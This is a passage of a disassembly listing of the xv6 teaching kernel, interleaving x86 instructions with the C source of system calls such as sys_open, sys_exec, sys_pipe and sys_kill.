80105040: 85 c0 test %eax,%eax
80105042: 0f 88 85 00 00 00 js 801050cd <sys_open+0xbd>
return -1;
begin_op();
80105048: e8 f3 da ff ff call 80102b40 <begin_op>
if(omode & O_CREATE){
8010504d: f6 45 e5 02 testb $0x2,-0x1b(%ebp)
80105051: 0f 85 89 00 00 00 jne 801050e0 <sys_open+0xd0>
if(ip == 0){
end_op();
return -1;
}
} else {
if((ip = namei(path)) == 0){
80105057: 83 ec 0c sub $0xc,%esp
8010505a: ff 75 e0 pushl -0x20(%ebp)
8010505d: e8 4e ce ff ff call 80101eb0 <namei>
80105062: 83 c4 10 add $0x10,%esp
80105065: 85 c0 test %eax,%eax
80105067: 89 c6 mov %eax,%esi
80105069: 0f 84 8e 00 00 00 je 801050fd <sys_open+0xed>
end_op();
return -1;
}
ilock(ip);
8010506f: 83 ec 0c sub $0xc,%esp
80105072: 50 push %eax
80105073: e8 e8 c5 ff ff call 80101660 <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80105078: 83 c4 10 add $0x10,%esp
8010507b: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80105080: 0f 84 d2 00 00 00 je 80105158 <sys_open+0x148>
end_op();
return -1;
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80105086: e8 e5 bc ff ff call 80100d70 <filealloc>
8010508b: 85 c0 test %eax,%eax
8010508d: 89 c7 mov %eax,%edi
8010508f: 74 2b je 801050bc <sys_open+0xac>
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
80105091: 31 db xor %ebx,%ebx
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
80105093: e8 d8 e6 ff ff call 80103770 <myproc>
80105098: 90 nop
80105099: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(fd = 0; fd < NOFILE; fd++){
if(curproc->ofile[fd] == 0){
801050a0: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx
801050a4: 85 d2 test %edx,%edx
801050a6: 74 68 je 80105110 <sys_open+0x100>
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
801050a8: 83 c3 01 add $0x1,%ebx
801050ab: 83 fb 10 cmp $0x10,%ebx
801050ae: 75 f0 jne 801050a0 <sys_open+0x90>
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
if(f)
fileclose(f);
801050b0: 83 ec 0c sub $0xc,%esp
801050b3: 57 push %edi
801050b4: e8 77 bd ff ff call 80100e30 <fileclose>
801050b9: 83 c4 10 add $0x10,%esp
iunlockput(ip);
801050bc: 83 ec 0c sub $0xc,%esp
801050bf: 56 push %esi
801050c0: e8 2b c8 ff ff call 801018f0 <iunlockput>
end_op();
801050c5: e8 e6 da ff ff call 80102bb0 <end_op>
return -1;
801050ca: 83 c4 10 add $0x10,%esp
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
return fd;
}
801050cd: 8d 65 f4 lea -0xc(%ebp),%esp
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
if(f)
fileclose(f);
iunlockput(ip);
end_op();
return -1;
801050d0: b8 ff ff ff ff mov $0xffffffff,%eax
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
return fd;
}
801050d5: 5b pop %ebx
801050d6: 5e pop %esi
801050d7: 5f pop %edi
801050d8: 5d pop %ebp
801050d9: c3 ret
801050da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
begin_op();
if(omode & O_CREATE){
ip = create(path, T_FILE, 0, 0);
801050e0: 83 ec 0c sub $0xc,%esp
801050e3: 8b 45 e0 mov -0x20(%ebp),%eax
801050e6: 31 c9 xor %ecx,%ecx
801050e8: 6a 00 push $0x0
801050ea: ba 02 00 00 00 mov $0x2,%edx
801050ef: e8 dc f7 ff ff call 801048d0 <create>
if(ip == 0){
801050f4: 83 c4 10 add $0x10,%esp
801050f7: 85 c0 test %eax,%eax
return -1;
begin_op();
if(omode & O_CREATE){
ip = create(path, T_FILE, 0, 0);
801050f9: 89 c6 mov %eax,%esi
if(ip == 0){
801050fb: 75 89 jne 80105086 <sys_open+0x76>
end_op();
801050fd: e8 ae da ff ff call 80102bb0 <end_op>
return -1;
80105102: b8 ff ff ff ff mov $0xffffffff,%eax
80105107: eb 43 jmp 8010514c <sys_open+0x13c>
80105109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80105110: 83 ec 0c sub $0xc,%esp
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
if(curproc->ofile[fd] == 0){
curproc->ofile[fd] = f;
80105113: 89 7c 98 28 mov %edi,0x28(%eax,%ebx,4)
fileclose(f);
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
80105117: 56 push %esi
80105118: e8 23 c6 ff ff call 80101740 <iunlock>
end_op();
8010511d: e8 8e da ff ff call 80102bb0 <end_op>
f->type = FD_INODE;
80105122: c7 07 02 00 00 00 movl $0x2,(%edi)
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
80105128: 8b 55 e4 mov -0x1c(%ebp),%edx
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
8010512b: 83 c4 10 add $0x10,%esp
}
iunlock(ip);
end_op();
f->type = FD_INODE;
f->ip = ip;
8010512e: 89 77 10 mov %esi,0x10(%edi)
f->off = 0;
80105131: c7 47 14 00 00 00 00 movl $0x0,0x14(%edi)
f->readable = !(omode & O_WRONLY);
80105138: 89 d0 mov %edx,%eax
8010513a: 83 e0 01 and $0x1,%eax
8010513d: 83 f0 01 xor $0x1,%eax
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80105140: 83 e2 03 and $0x3,%edx
end_op();
f->type = FD_INODE;
f->ip = ip;
f->off = 0;
f->readable = !(omode & O_WRONLY);
80105143: 88 47 08 mov %al,0x8(%edi)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
80105146: 0f 95 47 09 setne 0x9(%edi)
return fd;
8010514a: 89 d8 mov %ebx,%eax
}
8010514c: 8d 65 f4 lea -0xc(%ebp),%esp
8010514f: 5b pop %ebx
80105150: 5e pop %esi
80105151: 5f pop %edi
80105152: 5d pop %ebp
80105153: c3 ret
80105154: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if((ip = namei(path)) == 0){
end_op();
return -1;
}
ilock(ip);
if(ip->type == T_DIR && omode != O_RDONLY){
80105158: 8b 4d e4 mov -0x1c(%ebp),%ecx
8010515b: 85 c9 test %ecx,%ecx
8010515d: 0f 84 23 ff ff ff je 80105086 <sys_open+0x76>
80105163: e9 54 ff ff ff jmp 801050bc <sys_open+0xac>
80105168: 90 nop
80105169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105170 <sys_mkdir>:
return fd;
}
int
sys_mkdir(void)
{
80105170: 55 push %ebp
80105171: 89 e5 mov %esp,%ebp
80105173: 83 ec 18 sub $0x18,%esp
char *path;
struct inode *ip;
begin_op();
80105176: e8 c5 d9 ff ff call 80102b40 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
8010517b: 8d 45 f4 lea -0xc(%ebp),%eax
8010517e: 83 ec 08 sub $0x8,%esp
80105181: 50 push %eax
80105182: 6a 00 push $0x0
80105184: e8 a7 f6 ff ff call 80104830 <argstr>
80105189: 83 c4 10 add $0x10,%esp
8010518c: 85 c0 test %eax,%eax
8010518e: 78 30 js 801051c0 <sys_mkdir+0x50>
80105190: 83 ec 0c sub $0xc,%esp
80105193: 8b 45 f4 mov -0xc(%ebp),%eax
80105196: 31 c9 xor %ecx,%ecx
80105198: 6a 00 push $0x0
8010519a: ba 01 00 00 00 mov $0x1,%edx
8010519f: e8 2c f7 ff ff call 801048d0 <create>
801051a4: 83 c4 10 add $0x10,%esp
801051a7: 85 c0 test %eax,%eax
801051a9: 74 15 je 801051c0 <sys_mkdir+0x50>
end_op();
return -1;
}
iunlockput(ip);
801051ab: 83 ec 0c sub $0xc,%esp
801051ae: 50 push %eax
801051af: e8 3c c7 ff ff call 801018f0 <iunlockput>
end_op();
801051b4: e8 f7 d9 ff ff call 80102bb0 <end_op>
return 0;
801051b9: 83 c4 10 add $0x10,%esp
801051bc: 31 c0 xor %eax,%eax
}
801051be: c9 leave
801051bf: c3 ret
char *path;
struct inode *ip;
begin_op();
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
end_op();
801051c0: e8 eb d9 ff ff call 80102bb0 <end_op>
return -1;
801051c5: b8 ff ff ff ff mov $0xffffffff,%eax
}
iunlockput(ip);
end_op();
return 0;
}
801051ca: c9 leave
801051cb: c3 ret
801051cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801051d0 <sys_mknod>:
int
sys_mknod(void)
{
801051d0: 55 push %ebp
801051d1: 89 e5 mov %esp,%ebp
801051d3: 83 ec 18 sub $0x18,%esp
struct inode *ip;
char *path;
int major, minor;
begin_op();
801051d6: e8 65 d9 ff ff call 80102b40 <begin_op>
if((argstr(0, &path)) < 0 ||
801051db: 8d 45 ec lea -0x14(%ebp),%eax
801051de: 83 ec 08 sub $0x8,%esp
801051e1: 50 push %eax
801051e2: 6a 00 push $0x0
801051e4: e8 47 f6 ff ff call 80104830 <argstr>
801051e9: 83 c4 10 add $0x10,%esp
801051ec: 85 c0 test %eax,%eax
801051ee: 78 60 js 80105250 <sys_mknod+0x80>
argint(1, &major) < 0 ||
801051f0: 8d 45 f0 lea -0x10(%ebp),%eax
801051f3: 83 ec 08 sub $0x8,%esp
801051f6: 50 push %eax
801051f7: 6a 01 push $0x1
801051f9: e8 82 f5 ff ff call 80104780 <argint>
struct inode *ip;
char *path;
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
801051fe: 83 c4 10 add $0x10,%esp
80105201: 85 c0 test %eax,%eax
80105203: 78 4b js 80105250 <sys_mknod+0x80>
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
80105205: 8d 45 f4 lea -0xc(%ebp),%eax
80105208: 83 ec 08 sub $0x8,%esp
8010520b: 50 push %eax
8010520c: 6a 02 push $0x2
8010520e: e8 6d f5 ff ff call 80104780 <argint>
char *path;
int major, minor;
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
80105213: 83 c4 10 add $0x10,%esp
80105216: 85 c0 test %eax,%eax
80105218: 78 36 js 80105250 <sys_mknod+0x80>
argint(2, &minor) < 0 ||
8010521a: 0f bf 45 f4 movswl -0xc(%ebp),%eax
8010521e: 83 ec 0c sub $0xc,%esp
80105221: 0f bf 4d f0 movswl -0x10(%ebp),%ecx
80105225: ba 03 00 00 00 mov $0x3,%edx
8010522a: 50 push %eax
8010522b: 8b 45 ec mov -0x14(%ebp),%eax
8010522e: e8 9d f6 ff ff call 801048d0 <create>
80105233: 83 c4 10 add $0x10,%esp
80105236: 85 c0 test %eax,%eax
80105238: 74 16 je 80105250 <sys_mknod+0x80>
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
return -1;
}
iunlockput(ip);
8010523a: 83 ec 0c sub $0xc,%esp
8010523d: 50 push %eax
8010523e: e8 ad c6 ff ff call 801018f0 <iunlockput>
end_op();
80105243: e8 68 d9 ff ff call 80102bb0 <end_op>
return 0;
80105248: 83 c4 10 add $0x10,%esp
8010524b: 31 c0 xor %eax,%eax
}
8010524d: c9 leave
8010524e: c3 ret
8010524f: 90 nop
begin_op();
if((argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
80105250: e8 5b d9 ff ff call 80102bb0 <end_op>
return -1;
80105255: b8 ff ff ff ff mov $0xffffffff,%eax
}
iunlockput(ip);
end_op();
return 0;
}
8010525a: c9 leave
8010525b: c3 ret
8010525c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105260 <sys_chdir>:
int
sys_chdir(void)
{
80105260: 55 push %ebp
80105261: 89 e5 mov %esp,%ebp
80105263: 56 push %esi
80105264: 53 push %ebx
80105265: 83 ec 10 sub $0x10,%esp
char *path;
struct inode *ip;
struct proc *curproc = myproc();
80105268: e8 03 e5 ff ff call 80103770 <myproc>
8010526d: 89 c6 mov %eax,%esi
begin_op();
8010526f: e8 cc d8 ff ff call 80102b40 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80105274: 8d 45 f4 lea -0xc(%ebp),%eax
80105277: 83 ec 08 sub $0x8,%esp
8010527a: 50 push %eax
8010527b: 6a 00 push $0x0
8010527d: e8 ae f5 ff ff call 80104830 <argstr>
80105282: 83 c4 10 add $0x10,%esp
80105285: 85 c0 test %eax,%eax
80105287: 78 77 js 80105300 <sys_chdir+0xa0>
80105289: 83 ec 0c sub $0xc,%esp
8010528c: ff 75 f4 pushl -0xc(%ebp)
8010528f: e8 1c cc ff ff call 80101eb0 <namei>
80105294: 83 c4 10 add $0x10,%esp
80105297: 85 c0 test %eax,%eax
80105299: 89 c3 mov %eax,%ebx
8010529b: 74 63 je 80105300 <sys_chdir+0xa0>
end_op();
return -1;
}
ilock(ip);
8010529d: 83 ec 0c sub $0xc,%esp
801052a0: 50 push %eax
801052a1: e8 ba c3 ff ff call 80101660 <ilock>
if(ip->type != T_DIR){
801052a6: 83 c4 10 add $0x10,%esp
801052a9: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
801052ae: 75 30 jne 801052e0 <sys_chdir+0x80>
iunlockput(ip);
end_op();
return -1;
}
iunlock(ip);
801052b0: 83 ec 0c sub $0xc,%esp
801052b3: 53 push %ebx
801052b4: e8 87 c4 ff ff call 80101740 <iunlock>
iput(curproc->cwd);
801052b9: 58 pop %eax
801052ba: ff 76 68 pushl 0x68(%esi)
801052bd: e8 ce c4 ff ff call 80101790 <iput>
end_op();
801052c2: e8 e9 d8 ff ff call 80102bb0 <end_op>
curproc->cwd = ip;
801052c7: 89 5e 68 mov %ebx,0x68(%esi)
return 0;
801052ca: 83 c4 10 add $0x10,%esp
801052cd: 31 c0 xor %eax,%eax
}
801052cf: 8d 65 f8 lea -0x8(%ebp),%esp
801052d2: 5b pop %ebx
801052d3: 5e pop %esi
801052d4: 5d pop %ebp
801052d5: c3 ret
801052d6: 8d 76 00 lea 0x0(%esi),%esi
801052d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
end_op();
return -1;
}
ilock(ip);
if(ip->type != T_DIR){
iunlockput(ip);
801052e0: 83 ec 0c sub $0xc,%esp
801052e3: 53 push %ebx
801052e4: e8 07 c6 ff ff call 801018f0 <iunlockput>
end_op();
801052e9: e8 c2 d8 ff ff call 80102bb0 <end_op>
return -1;
801052ee: 83 c4 10 add $0x10,%esp
801052f1: b8 ff ff ff ff mov $0xffffffff,%eax
801052f6: eb d7 jmp 801052cf <sys_chdir+0x6f>
801052f8: 90 nop
801052f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
struct inode *ip;
struct proc *curproc = myproc();
begin_op();
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
end_op();
80105300: e8 ab d8 ff ff call 80102bb0 <end_op>
return -1;
80105305: b8 ff ff ff ff mov $0xffffffff,%eax
8010530a: eb c3 jmp 801052cf <sys_chdir+0x6f>
8010530c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105310 <sys_exec>:
return 0;
}
int
sys_exec(void)
{
80105310: 55 push %ebp
80105311: 89 e5 mov %esp,%ebp
80105313: 57 push %edi
80105314: 56 push %esi
80105315: 53 push %ebx
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
80105316: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax
return 0;
}
int
sys_exec(void)
{
8010531c: 81 ec a4 00 00 00 sub $0xa4,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
80105322: 50 push %eax
80105323: 6a 00 push $0x0
80105325: e8 06 f5 ff ff call 80104830 <argstr>
8010532a: 83 c4 10 add $0x10,%esp
8010532d: 85 c0 test %eax,%eax
8010532f: 78 7f js 801053b0 <sys_exec+0xa0>
80105331: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax
80105337: 83 ec 08 sub $0x8,%esp
8010533a: 50 push %eax
8010533b: 6a 01 push $0x1
8010533d: e8 3e f4 ff ff call 80104780 <argint>
80105342: 83 c4 10 add $0x10,%esp
80105345: 85 c0 test %eax,%eax
80105347: 78 67 js 801053b0 <sys_exec+0xa0>
return -1;
}
memset(argv, 0, sizeof(argv));
80105349: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
8010534f: 83 ec 04 sub $0x4,%esp
80105352: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi
80105358: 68 80 00 00 00 push $0x80
8010535d: 6a 00 push $0x0
8010535f: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi
80105365: 50 push %eax
80105366: 31 db xor %ebx,%ebx
80105368: e8 03 f1 ff ff call 80104470 <memset>
8010536d: 83 c4 10 add $0x10,%esp
for(i=0;; i++){
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
80105370: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax
80105376: 83 ec 08 sub $0x8,%esp
80105379: 57 push %edi
8010537a: 8d 04 98 lea (%eax,%ebx,4),%eax
8010537d: 50 push %eax
8010537e: e8 5d f3 ff ff call 801046e0 <fetchint>
80105383: 83 c4 10 add $0x10,%esp
80105386: 85 c0 test %eax,%eax
80105388: 78 26 js 801053b0 <sys_exec+0xa0>
return -1;
if(uarg == 0){
8010538a: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax
80105390: 85 c0 test %eax,%eax
80105392: 74 2c je 801053c0 <sys_exec+0xb0>
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
80105394: 83 ec 08 sub $0x8,%esp
80105397: 56 push %esi
80105398: 50 push %eax
80105399: e8 82 f3 ff ff call 80104720 <fetchstr>
8010539e: 83 c4 10 add $0x10,%esp
801053a1: 85 c0 test %eax,%eax
801053a3: 78 0b js 801053b0 <sys_exec+0xa0>
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
for(i=0;; i++){
801053a5: 83 c3 01 add $0x1,%ebx
801053a8: 83 c6 04 add $0x4,%esi
if(i >= NELEM(argv))
801053ab: 83 fb 20 cmp $0x20,%ebx
801053ae: 75 c0 jne 80105370 <sys_exec+0x60>
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
}
801053b0: 8d 65 f4 lea -0xc(%ebp),%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
801053b3: b8 ff ff ff ff mov $0xffffffff,%eax
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
}
801053b8: 5b pop %ebx
801053b9: 5e pop %esi
801053ba: 5f pop %edi
801053bb: 5d pop %ebp
801053bc: c3 ret
801053bd: 8d 76 00 lea 0x0(%esi),%esi
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
801053c0: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
801053c6: 83 ec 08 sub $0x8,%esp
if(i >= NELEM(argv))
return -1;
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
return -1;
if(uarg == 0){
argv[i] = 0;
801053c9: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4)
801053d0: 00 00 00 00
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
801053d4: 50 push %eax
801053d5: ff b5 5c ff ff ff pushl -0xa4(%ebp)
801053db: e8 10 b6 ff ff call 801009f0 <exec>
801053e0: 83 c4 10 add $0x10,%esp
}
801053e3: 8d 65 f4 lea -0xc(%ebp),%esp
801053e6: 5b pop %ebx
801053e7: 5e pop %esi
801053e8: 5f pop %edi
801053e9: 5d pop %ebp
801053ea: c3 ret
801053eb: 90 nop
801053ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801053f0 <sys_pipe>:
int
sys_pipe(void)
{
801053f0: 55 push %ebp
801053f1: 89 e5 mov %esp,%ebp
801053f3: 57 push %edi
801053f4: 56 push %esi
801053f5: 53 push %ebx
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801053f6: 8d 45 dc lea -0x24(%ebp),%eax
return exec(path, argv);
}
int
sys_pipe(void)
{
801053f9: 83 ec 20 sub $0x20,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801053fc: 6a 08 push $0x8
801053fe: 50 push %eax
801053ff: 6a 00 push $0x0
80105401: e8 ca f3 ff ff call 801047d0 <argptr>
80105406: 83 c4 10 add $0x10,%esp
80105409: 85 c0 test %eax,%eax
8010540b: 78 4a js 80105457 <sys_pipe+0x67>
return -1;
if(pipealloc(&rf, &wf) < 0)
8010540d: 8d 45 e4 lea -0x1c(%ebp),%eax
80105410: 83 ec 08 sub $0x8,%esp
80105413: 50 push %eax
80105414: 8d 45 e0 lea -0x20(%ebp),%eax
80105417: 50 push %eax
80105418: e8 c3 dd ff ff call 801031e0 <pipealloc>
8010541d: 83 c4 10 add $0x10,%esp
80105420: 85 c0 test %eax,%eax
80105422: 78 33 js 80105457 <sys_pipe+0x67>
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
80105424: 31 db xor %ebx,%ebx
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
return -1;
if(pipealloc(&rf, &wf) < 0)
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
80105426: 8b 7d e0 mov -0x20(%ebp),%edi
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
80105429: e8 42 e3 ff ff call 80103770 <myproc>
8010542e: 66 90 xchg %ax,%ax
for(fd = 0; fd < NOFILE; fd++){
if(curproc->ofile[fd] == 0){
80105430: 8b 74 98 28 mov 0x28(%eax,%ebx,4),%esi
80105434: 85 f6 test %esi,%esi
80105436: 74 30 je 80105468 <sys_pipe+0x78>
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
80105438: 83 c3 01 add $0x1,%ebx
8010543b: 83 fb 10 cmp $0x10,%ebx
8010543e: 75 f0 jne 80105430 <sys_pipe+0x40>
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
if(fd0 >= 0)
myproc()->ofile[fd0] = 0;
fileclose(rf);
80105440: 83 ec 0c sub $0xc,%esp
80105443: ff 75 e0 pushl -0x20(%ebp)
80105446: e8 e5 b9 ff ff call 80100e30 <fileclose>
fileclose(wf);
8010544b: 58 pop %eax
8010544c: ff 75 e4 pushl -0x1c(%ebp)
8010544f: e8 dc b9 ff ff call 80100e30 <fileclose>
return -1;
80105454: 83 c4 10 add $0x10,%esp
}
fd[0] = fd0;
fd[1] = fd1;
return 0;
}
80105457: 8d 65 f4 lea -0xc(%ebp),%esp
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
if(fd0 >= 0)
myproc()->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
8010545a: b8 ff ff ff ff mov $0xffffffff,%eax
}
fd[0] = fd0;
fd[1] = fd1;
return 0;
}
8010545f: 5b pop %ebx
80105460: 5e pop %esi
80105461: 5f pop %edi
80105462: 5d pop %ebp
80105463: c3 ret
80105464: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
if(curproc->ofile[fd] == 0){
curproc->ofile[fd] = f;
80105468: 8d 73 08 lea 0x8(%ebx),%esi
8010546b: 89 7c b0 08 mov %edi,0x8(%eax,%esi,4)
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
return -1;
if(pipealloc(&rf, &wf) < 0)
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
8010546f: 8b 7d e4 mov -0x1c(%ebp),%edi
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
80105472: e8 f9 e2 ff ff call 80103770 <myproc>
for(fd = 0; fd < NOFILE; fd++){
80105477: 31 d2 xor %edx,%edx
80105479: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(curproc->ofile[fd] == 0){
80105480: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx
80105484: 85 c9 test %ecx,%ecx
80105486: 74 18 je 801054a0 <sys_pipe+0xb0>
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
80105488: 83 c2 01 add $0x1,%edx
8010548b: 83 fa 10 cmp $0x10,%edx
8010548e: 75 f0 jne 80105480 <sys_pipe+0x90>
if(pipealloc(&rf, &wf) < 0)
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
if(fd0 >= 0)
myproc()->ofile[fd0] = 0;
80105490: e8 db e2 ff ff call 80103770 <myproc>
80105495: c7 44 b0 08 00 00 00 movl $0x0,0x8(%eax,%esi,4)
8010549c: 00
8010549d: eb a1 jmp 80105440 <sys_pipe+0x50>
8010549f: 90 nop
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
if(curproc->ofile[fd] == 0){
curproc->ofile[fd] = f;
801054a0: 89 7c 90 28 mov %edi,0x28(%eax,%edx,4)
myproc()->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
}
fd[0] = fd0;
801054a4: 8b 45 dc mov -0x24(%ebp),%eax
801054a7: 89 18 mov %ebx,(%eax)
fd[1] = fd1;
801054a9: 8b 45 dc mov -0x24(%ebp),%eax
801054ac: 89 50 04 mov %edx,0x4(%eax)
return 0;
}
801054af: 8d 65 f4 lea -0xc(%ebp),%esp
fileclose(wf);
return -1;
}
fd[0] = fd0;
fd[1] = fd1;
return 0;
801054b2: 31 c0 xor %eax,%eax
}
801054b4: 5b pop %ebx
801054b5: 5e pop %esi
801054b6: 5f pop %edi
801054b7: 5d pop %ebp
801054b8: c3 ret
801054b9: 66 90 xchg %ax,%ax
801054bb: 66 90 xchg %ax,%ax
801054bd: 66 90 xchg %ax,%ax
801054bf: 90 nop
801054c0 <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
801054c0: 55 push %ebp
801054c1: 89 e5 mov %esp,%ebp
return fork();
}
801054c3: 5d pop %ebp
#include "proc.h"
int
sys_fork(void)
{
return fork();
801054c4: e9 47 e4 ff ff jmp 80103910 <fork>
801054c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801054d0 <sys_exit>:
}
int
sys_exit(void)
{
801054d0: 55 push %ebp
801054d1: 89 e5 mov %esp,%ebp
801054d3: 83 ec 08 sub $0x8,%esp
exit();
801054d6: e8 d5 e6 ff ff call 80103bb0 <exit>
return 0; // not reached
}
801054db: 31 c0 xor %eax,%eax
801054dd: c9 leave
801054de: c3 ret
801054df: 90 nop
801054e0 <sys_wait>:
int
sys_wait(void)
{
801054e0: 55 push %ebp
801054e1: 89 e5 mov %esp,%ebp
return wait();
}
801054e3: 5d pop %ebp
}
int
sys_wait(void)
{
return wait();
801054e4: e9 07 e9 ff ff jmp 80103df0 <wait>
801054e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801054f0 <sys_kill>:
}
int
sys_kill(void)
{
801054f0: 55 push %ebp
801054f1: 89 e5 mov %esp,%ebp
801054f3: 83 ec 20 sub $0x20,%esp
int pid;
if(argint(0, &pid) < 0)
801054f6: 8d 45 f4 lea -0xc(%ebp),%eax
801054f9: 50 push %eax
801054fa: 6a 00 push $0x0
801054fc: e8 7f f2 ff ff call 80104780 <argint>
80105501: 83 c4 10 add $0x10,%esp
80105504: 85 c0 test %eax,%eax
80105506: 78 18 js 80105520 <sys_kill+0x30>
return -1;
return kill(pid);
80105508: 83 ec 0c sub $0xc,%esp
8010550b: ff 75 f4 pushl -0xc(%ebp)
8010550e: e8 2d ea ff ff call 80103f40 <kill>
80105513: 83 c4 10 add $0x10,%esp
}
80105516: c9 leave
80105517: c3 ret
80105518: 90 nop
80105519: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
sys_kill(void)
{
int pid;
if(argint(0, &pid) < 0)
return -1;
80105520: b8 ff ff ff ff mov $0xffffffff,%eax
return kill(pid);
}
80105525: c9 leave
80105526: c3 ret
80105527: 89 f6 mov %esi,%esi
80105529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105530 <sys_getpid>:
int
sys_getpid(void)
{
80105530: 55 push %ebp
80105531: 89 e5 mov %esp,%ebp
